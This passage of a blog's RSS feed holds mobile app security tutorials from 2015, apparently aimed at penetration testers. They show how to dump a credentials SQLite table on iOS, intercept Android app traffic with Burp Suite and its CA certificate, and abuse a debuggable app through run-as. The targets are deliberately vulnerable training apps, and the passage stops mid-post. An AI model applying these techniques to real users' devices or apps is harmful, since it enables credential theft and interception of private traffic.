&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjY8aS8K3bzsXgILDt7AGSjWy2g5q__g6FenTkdnROPHluqO0NYcn487-tAZl7-bvllJvunKjfHCUrbpVQ-IxcWKoFUg0wDySIAlJ_mQJapP6y0ywxoKnuvjJStLuxooXsrahVmTebX/s1600/dateModified.jpg&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;152&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjY8aS8K3bzsXgILDt7AGSjWy2g5q__g6FenTkdnROPHluqO0NYcn487-tAZl7-bvllJvunKjfHCUrbpVQ-IxcWKoFUg0wDySIAlJ_mQJapP6y0ywxoKnuvjJStLuxooXsrahVmTebX/s320/dateModified.jpg&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div style=&quot;text-align: left;&quot;&gt;
Once inside the device you can navigate to /Containers/Data/Application/&amp;lt;UUID&amp;gt;/ . Next navigate into the Documents directory - you will see a sqlite file called credentials.sqlite. Use the command sqlite3 credentials.sqlite to enter the sqlite3 interpreter with the database file.&amp;nbsp;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both;&quot;&gt;
To view the tables type &#39;.tables&#39;, you will see a table called creds. We can dump all of the information from the table by entering the command &#39;select * from creds;&#39;&amp;nbsp;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgnssdYkeCeR8yMd7tXYyKQVTmsf9cHA8-bzHR-gUdhfU4-9su2OnZ8BJ65fvY_wSeJyDY3SeHOqTl7wYhYPOSbQLijQkzaeGbMepoyc-1TtCECgVllpAaFEkOM09gPElZfwIdQf6Y9/s1600/sqlite3.jpg&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;143&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgnssdYkeCeR8yMd7tXYyKQVTmsf9cHA8-bzHR-gUdhfU4-9su2OnZ8BJ65fvY_wSeJyDY3SeHOqTl7wYhYPOSbQLijQkzaeGbMepoyc-1TtCECgVllpAaFEkOM09gPElZfwIdQf6Y9/s320/sqlite3.jpg&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;h3 class=&quot;separator&quot; style=&quot;clear: both; text-align: left;&quot;&gt;
Recommendations&amp;nbsp; &lt;/h3&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: left;&quot;&gt;
It is important for developers to note that the data stored in Sqlite files is saved unencrypted in the application sandbox on the device.For databases consider using SQLcipher for Sqlite data encryption.&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: left;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: left;&quot;&gt;
References: https://www.owasp.org/index.php/Mobile_Top_10_2014-M2 &lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;</description><link>http://thehackpot.blogspot.com/2015/08/insecure-local-data-storage-ios.html</link><author>noreply@blogger.com (Anonymous)</author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEitLKDBwx09ueU7x6P1fcdQQlJc4v7KE1yFA8YjEh3n6JEDFty7pG3C8in0kFyi94YgcQjOc7s1BkBwxlDOvcLQ53JoFtxV5ZDOXrU4miPqT03K86AzGHVCeIP0rCffkO1fC8rRecTz/s72-c/iGoat2.jpg" height="72" width="72"/><thr:total>0</thr:total></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-8805024510347536027.post-9036341456829954819</guid><pubDate>Wed, 05 Aug 2015 11:45:00 +0000</pubDate><atom:updated>2015-08-05T12:49:36.780+01:00</atom:updated><category domain="http://www.blogger.com/atom/ns#">Android</category><category domain="http://www.blogger.com/atom/ns#">Burp Suite</category><title>Intercepting Android Applications With Burp Suite</title><description>&lt;h3&gt;
Burp Suite&lt;/h3&gt;
&lt;br /&gt;
Burp Suite is a very useful platform for application security analysis. Burp is written in Java and can be run on most platforms, it includes both a free and commercial version. It includes a proxy server that allows you to configure your browser or mobile application for traffic interception.&lt;br /&gt;
&lt;br /&gt;
In this post we will go through the steps for configuring burp to intercept traffic on a mobile device.&lt;br /&gt;
&lt;br /&gt;
&lt;h3&gt;
Configure Burp Proxy Listener&lt;/h3&gt;
&lt;br /&gt;
Once you open Burp - go to the Proxy tab and the Options. Click on the add button and set the &#39;Bind to port&#39; to 8080. Then select All interfaces.&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjct37ILA4PhIb1N-xRrkUass646CTiet0ZfVtFSv9F_lNwq4VQg6D5aeq_BlmBdZbRcWns-hcOVj65WAKL94mW0kIjOK6xdkhDglDAGi3T0gX-28l6JcAEoNJK6D3GO3oU7utSYrV9/s1600/proxy.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;137&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjct37ILA4PhIb1N-xRrkUass646CTiet0ZfVtFSv9F_lNwq4VQg6D5aeq_BlmBdZbRcWns-hcOVj65WAKL94mW0kIjOK6xdkhDglDAGi3T0gX-28l6JcAEoNJK6D3GO3oU7utSYrV9/s320/proxy.png&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;h3&gt;
Configure Mobile Device/ Emulator&lt;/h3&gt;
&lt;br /&gt;
In your Android device or emulator go to &#39;Settings&#39; and Wi-Fi (ensuring that you are connected).&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEja-2nxoyDVLrfC8nIR3BVz_68P-oryxL0tYdfgF4d_4N52W6L0mGCA0wImcfm5sBe-_Nki5JtTsALECCr9wOfMc2l7hR7Fmx72pDOc0B8JeqO_WtEVuuA-W6wyCH4Cgs5yx2hvRwzT/s1600/settings.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;320&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEja-2nxoyDVLrfC8nIR3BVz_68P-oryxL0tYdfgF4d_4N52W6L0mGCA0wImcfm5sBe-_Nki5JtTsALECCr9wOfMc2l7hR7Fmx72pDOc0B8JeqO_WtEVuuA-W6wyCH4Cgs5yx2hvRwzT/s320/settings.png&quot; width=&quot;318&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: left;&quot;&gt;
Next hold down on the network button until you see a menu with either &#39;Forget network&#39; or &#39;Modify network&#39;.&amp;nbsp;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiRRtQtHEnWwZcHiVRXt6abjlosXQKI0E8tXmuZpPt8Aqt9Pke-wS9eOXAhc9aLmQ9Av9aj-w-KSi3nGdR7FHI2XCb4pPK648erJfQNG4BsSQQBmelLPY-DRWZHgTz3i8VhX3IlCr3T/s1600/network1.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;320&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiRRtQtHEnWwZcHiVRXt6abjlosXQKI0E8tXmuZpPt8Aqt9Pke-wS9eOXAhc9aLmQ9Av9aj-w-KSi3nGdR7FHI2XCb4pPK648erJfQNG4BsSQQBmelLPY-DRWZHgTz3i8VhX3IlCr3T/s320/network1.png&quot; width=&quot;282&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: left;&quot;&gt;
When you select &#39;Modify network&#39; the menu below will open , check the &#39;Show advanced options&#39; checkbox. Change the Proxy settings to &#39;Manual&#39; and enter the IP address in the Proxy hostname field of the computer that is running burp. In the &#39;Proxy port&#39; field enter the port that burp is listening on e.g. 8080.&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiB2kDNhDLSErjLpzY2BxIEooLPiXnBPXL4UACGQHFFiJygTlaQ2JBz9W4-MuQWvbT9tplY3q78fPyD9skGH4V4JXWZJaLsFGvPORuIM-3CNsRvvUXYBi7lQjTISqOeQmb6iY3-Qa60/s1600/network2.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;320&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiB2kDNhDLSErjLpzY2BxIEooLPiXnBPXL4UACGQHFFiJygTlaQ2JBz9W4-MuQWvbT9tplY3q78fPyD9skGH4V4JXWZJaLsFGvPORuIM-3CNsRvvUXYBi7lQjTISqOeQmb6iY3-Qa60/s320/network2.png&quot; width=&quot;291&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;h3&gt;
Intercept Traffic&lt;/h3&gt;
&lt;br /&gt;
To test that we can intercept the traffic, open up a mobile application and perform an action. In the screenshot below we are logging into the Insecure Bank app.&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi8NCWq1HUd_MIW0RgKox2BEHQ0F_3rTuDBHrV-Cf5KRMs_2IaxknRAZjkn2ggY81chv1pQdHc8g2or9abyLw5sUsF8awGDRiSdg5nsceaDBilMMgDMip7SDsVPYw0ypBghrJ9wiUaQ/s1600/login.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;320&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi8NCWq1HUd_MIW0RgKox2BEHQ0F_3rTuDBHrV-Cf5KRMs_2IaxknRAZjkn2ggY81chv1pQdHc8g2or9abyLw5sUsF8awGDRiSdg5nsceaDBilMMgDMip7SDsVPYw0ypBghrJ9wiUaQ/s320/login.png&quot; width=&quot;305&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;/div&gt;
&lt;br /&gt;
Before hitting the Login button go to the &#39;Proxy Intercept&#39; tab in burp and ensure that intercept is on.&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgN2y0QUDRJeHKcSKOP4NLg8xiK62HWJWXJSZ7M0fRSe-Owfm1D_qhpe1hN7j_Qn7OL_r491s-gBYhJyt6mmkk8HsFAfXc__U2cb0306tBrjablaw5dP5JP65BzwoWBRHTNegaFAzmx/s1600/burpIntercept.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;91&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgN2y0QUDRJeHKcSKOP4NLg8xiK62HWJWXJSZ7M0fRSe-Owfm1D_qhpe1hN7j_Qn7OL_r491s-gBYhJyt6mmkk8HsFAfXc__U2cb0306tBrjablaw5dP5JP65BzwoWBRHTNegaFAzmx/s320/burpIntercept.png&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
Once you submit the request you should see the traffic in the intercept pane.&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgvFXPHbqhPrPAFtDHvz-PWa-grdIv_Lc9XsT1OomGQYhaoNFNsZunAhvE-x6JBYbKKSiBRrxdUqVsXQKDd5nWouCpqj3LfXf66ovDZ7QzO3tOdr8lHNcf8SMac6-jitO5ac7aqCZCa/s1600/burp.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;152&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgvFXPHbqhPrPAFtDHvz-PWa-grdIv_Lc9XsT1OomGQYhaoNFNsZunAhvE-x6JBYbKKSiBRrxdUqVsXQKDd5nWouCpqj3LfXf66ovDZ7QzO3tOdr8lHNcf8SMac6-jitO5ac7aqCZCa/s320/burp.png&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;h3&gt;
&lt;/h3&gt;
&lt;h3&gt;
Installing Burp CA Certificate&lt;/h3&gt;
&lt;br /&gt;
In this example the mobile application is sending traffic over HTTP - if the application is using SSL/TLS the you will have to install the burp CA certificate on the device.&lt;br /&gt;
&lt;br /&gt;
On the emulator open a browser and naviagte to http://burp. Then click on CA Certificate to install.&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjSxIhYAhBewRC_4M-gC0biGYXpoRgaH9KCe4flvJ29BwKutbnckO8EC8GBsHgmXOisFi8_RbhsmNntiIFlOejmn7655UvPk0rb9kt-lDxs7t6_rNJPwPm4qPKq9c2p8agqySsnyMzV/s1600/ca1.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;282&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjSxIhYAhBewRC_4M-gC0biGYXpoRgaH9KCe4flvJ29BwKutbnckO8EC8GBsHgmXOisFi8_RbhsmNntiIFlOejmn7655UvPk0rb9kt-lDxs7t6_rNJPwPm4qPKq9c2p8agqySsnyMzV/s400/ca1.png&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: left;&quot;&gt;
If you open the file manager you will see the cert under &#39;Downloads&#39;.&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEglPy5fmQP-h47dU9LbjurZB-zpb_rxHfu2Namx_hR185d0Gb6ydztZ5LKZpRw8pZmUjuC1WkNj3Zdw9HlEvtwhVyktNv5Dob_U4H88PkAXYVkc2MG1bXuSI1-yvelYxT3iQQp5sRvf/s1600/ca3.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;116&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEglPy5fmQP-h47dU9LbjurZB-zpb_rxHfu2Namx_hR185d0Gb6ydztZ5LKZpRw8pZmUjuC1WkNj3Zdw9HlEvtwhVyktNv5Dob_U4H88PkAXYVkc2MG1bXuSI1-yvelYxT3iQQp5sRvf/s400/ca3.png&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: left;&quot;&gt;
Once you double click on the cert you will be prompted to name it. You can enter any name here and click Ok.&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhjnIoFFUgvqBb6SDo-i1pX0P4e68EF9ADbkerAwd_iwEsxbHGBs1WO0U40iFNiRxpXmeux8qrv6eWBdMpRZe6VWY6uL0dvMI5O3cW3PbnAQ7OBcNH20AwDwom85lJGSSS_1fAnC0_R/s1600/ca4.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;378&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhjnIoFFUgvqBb6SDo-i1pX0P4e68EF9ADbkerAwd_iwEsxbHGBs1WO0U40iFNiRxpXmeux8qrv6eWBdMpRZe6VWY6uL0dvMI5O3cW3PbnAQ7OBcNH20AwDwom85lJGSSS_1fAnC0_R/s400/ca4.png&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: left;&quot;&gt;
In Settings click on the the &#39;Security&#39; tab, then &amp;nbsp;and then &#39;Credential Storage&#39;. You should then see the cert under User&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiUD5Viyb6H5Q4t4UVXG_dCnum1l4utktJYgy6hRzJ0Yu-mEv89i7yJGU_X4ZbVnsM9SLihr1_cYZ0l_pvX3SOFgrT8IqkTLcEpnGI_OaJoH6lWnEe8UKjBvgStljLhBYm8g8PLIyWS/s1600/ca5.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;400&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiUD5Viyb6H5Q4t4UVXG_dCnum1l4utktJYgy6hRzJ0Yu-mEv89i7yJGU_X4ZbVnsM9SLihr1_cYZ0l_pvX3SOFgrT8IqkTLcEpnGI_OaJoH6lWnEe8UKjBvgStljLhBYm8g8PLIyWS/s400/ca5.png&quot; width=&quot;383&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: left;&quot;&gt;
You should now be able to intercept any traffic being transmitted over HTTPS without getting any security warnings..&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: left;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: left;&quot;&gt;
References:&amp;nbsp;https://support.portswigger.net/customer/portal/articles/1841102-installing-burp-s-ca-certificate-in-an-android-device&lt;/div&gt;
&lt;br /&gt;</description><link>http://thehackpot.blogspot.com/2015/08/intercepting-android-applications-with.html</link><author>noreply@blogger.com (Anonymous)</author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjct37ILA4PhIb1N-xRrkUass646CTiet0ZfVtFSv9F_lNwq4VQg6D5aeq_BlmBdZbRcWns-hcOVj65WAKL94mW0kIjOK6xdkhDglDAGi3T0gX-28l6JcAEoNJK6D3GO3oU7utSYrV9/s72-c/proxy.png" height="72" width="72"/><thr:total>0</thr:total></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-8805024510347536027.post-436336374217219478</guid><pubDate>Fri, 31 Jul 2015 12:20:00 +0000</pubDate><atom:updated>2015-07-31T13:20:40.201+01:00</atom:updated><category domain="http://www.blogger.com/atom/ns#">Android</category><category domain="http://www.blogger.com/atom/ns#">debugging</category><category domain="http://www.blogger.com/atom/ns#">Mobile</category><title>Debugging Android Applications</title><description>&lt;h3 style=&quot;clear: both; text-align: left;&quot;&gt;
Debug Flag&lt;/h3&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: left;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: left;&quot;&gt;
In Android you can set a flag in the manifest file to tell the OS whether or not an application can be debugged. This flag is commonly set to true during the development process, if the flag is still set to true in production then this can be dangerous and can lead to insecurities such as sensitive file exposure&amp;nbsp;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: left;&quot;&gt;
&amp;nbsp;The attribute in the &amp;lt;application&amp;gt; element in the manifest file will look like this &amp;nbsp;- &amp;nbsp; &amp;nbsp;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: left;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: left;&quot;&gt;
&amp;nbsp;android:debuggable[&quot;true&quot;|&quot;false&quot;]&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: left;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: left;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;h3 style=&quot;clear: both; text-align: left;&quot;&gt;
Checking Application Debug Flag&lt;/h3&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: left;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: left;&quot;&gt;
During a security review it is important to check if the application has debuggable=&quot;true&quot;. Fortunately, there is a module in drozer that will do the work for us. In order to check all the application packages on the device run the command below. As you can see the insecure bank application has debuggable on.&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjHZHTSggaR_z6ipdUMwZXJZzqMsMl_mmo1ja0Jp9UEktHmZ7m1IdKb8FlmzNxgWNYCgetqTZt5oHM00arBLCQIJVM6PPZgJikOHPv6GLsDjiZtrawZf63NDAgObf9ivCt0Y4MY98Wq/s1600/debug1.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;196&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjHZHTSggaR_z6ipdUMwZXJZzqMsMl_mmo1ja0Jp9UEktHmZ7m1IdKb8FlmzNxgWNYCgetqTZt5oHM00arBLCQIJVM6PPZgJikOHPv6GLsDjiZtrawZf63NDAgObf9ivCt0Y4MY98Wq/s320/debug1.png&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
To see which applications are active and connected to the debugging socket (@jdwp-control) you can run the &#39;adb jdwp&#39; command below.&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgb_tk2f2KMtIB6RIWklyG_OFDiALHWVt8epFbV_CBoZ3tl7Bz9J-iikYi0Co2DhThG9uk2AdMco_krO6BGJsELtdfEEf6pkIdM-YD2gE0Bvf_EaI-pcamQPDaY78zOKDDA3AfkorxW/s1600/debug2.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;70&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgb_tk2f2KMtIB6RIWklyG_OFDiALHWVt8epFbV_CBoZ3tl7Bz9J-iikYi0Co2DhThG9uk2AdMco_krO6BGJsELtdfEEf6pkIdM-YD2gE0Bvf_EaI-pcamQPDaY78zOKDDA3AfkorxW/s200/debug2.png&quot; width=&quot;200&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: left;&quot;&gt;
The jdwp command gives us a list of PIDs of processes that can be debugged. We can find out what packages the PIDs are mapped to by using ps and grep commands. You can see below that we can debug the insecure bank application.&lt;/div&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjlGC88OWZq2I1tFR7CwZ0_9qBmmXUsCSR-GSxx-ApBxP9FDpnAepZhrlhhCffBK4d0v18zMNp9HWQfpeLfjnshemM_bzZ6ht9ZxbU99yeMe71l6xiJFQ1XP7EcKqQZDxOhU7NgEdvy/s1600/debug3.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;40&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjlGC88OWZq2I1tFR7CwZ0_9qBmmXUsCSR-GSxx-ApBxP9FDpnAepZhrlhhCffBK4d0v18zMNp9HWQfpeLfjnshemM_bzZ6ht9ZxbU99yeMe71l6xiJFQ1XP7EcKqQZDxOhU7NgEdvy/s400/debug3.png&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;h3&gt;
Exploiting Debuggable Applications&lt;/h3&gt;
&lt;br /&gt;
So what can we do now? We know that the application is debuggable but we don&#39;t have root on the device. You may or may not know that if the device is not rooted then you cannot access the private data of the application. If you do try and root the device and it has an MDM policy applied preventing root exploitation then the device may get quarantined.&lt;br /&gt;
&lt;br /&gt;
&amp;nbsp;No problem ;). We can use run-as, this binary allows you to execute commands in the shell with the same permissions &amp;nbsp;owned by the app, basically you are placed inside the applications private data directory.&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
